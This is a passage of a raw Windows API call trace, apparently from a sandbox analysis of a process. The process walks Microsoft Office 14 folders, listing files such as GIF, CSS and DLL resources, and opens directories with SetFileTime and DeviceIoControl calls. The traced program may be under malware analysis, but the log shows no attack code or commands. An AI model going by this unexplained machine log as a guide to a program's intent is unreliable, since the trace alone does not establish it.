nFileSizeHigh=0x0, nFileSizeLow=0xcbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.598] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.598] GetLastError () returned 0x12 [0069.598] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.598] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.599] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts2.css", cAlternateFileName="")) returned 1 [0069.599] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl", cAlternateFileName="")) returned 1 [0069.599] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.599] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.600] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x106dbc0 [0069.600] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x106dbc0, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x106dbc0, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x106dbc0) returned 1 [0069.600] NtClose (Handle=0x18c) returned 0x0 [0069.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x10664e0 [0069.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103eb40 [0069.600] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.600] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ec48 [0069.600] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.600] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x103ed50 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10664e0) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f498 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041cc0 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.601] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.601] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.601] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f4b8 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041dc8 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f4d8 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041ed0 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.602] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.602] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1066458 [0069.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0x102f4f8 [0069.603] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0x1041fd8 [0069.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1066458) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.603] GetLastError () returned 0x12 [0069.603] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1e0 [0069.603] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="")) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6993, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADER.GIF", cAlternateFileName="")) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e72c | out: lpFindFileData=0x174e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0069.603] GetLastError () returned 0x12 [0069.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ec48) returned 1 [0069.603] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0069.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103ed50) returned 1 [0069.603] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103eb40) returned 1 [0069.603] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="Swirl.css", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Teal.css", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x727, dwReserved0=0x0, dwReserved1=0x0, cFileName="TexturedBlue.css", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1230100, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd1230100, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x732, dwReserved0=0x0, dwReserved1=0x0, cFileName="VelvetRose.css", cAlternateFileName="")) returned 0 [0069.604] GetLastError () returned 0x12 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1065270) returned 1 [0069.604] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1065378) returned 1 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1065168) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6cb410, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6cb410, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsStyles", cAlternateFileName="")) returned 0 [0069.604] GetLastError () returned 0x12 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x10663d0) returned 1 [0069.604] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1063ed8) returned 1 [0069.604] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1058a98) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xda, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXT", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_F_COL.HXK", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd5e7b500, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_K_COL.HXK", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50977140, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVAC.VSL", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x77f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDIFF.VRD", cAlternateFileName="")) returned 1 [0069.604] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ede00, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x5099d2a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7ede00, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x51d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HVACDUCT.VRD", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x75790, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFINTL.DLL", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98679500, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x11257870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98679500, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x174d06, dwReserved0=0x0, dwReserved1=0x0, cFileName="INFOPATH.HXS", cAlternateFileName="")) returned 1 [0069.605] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ef54 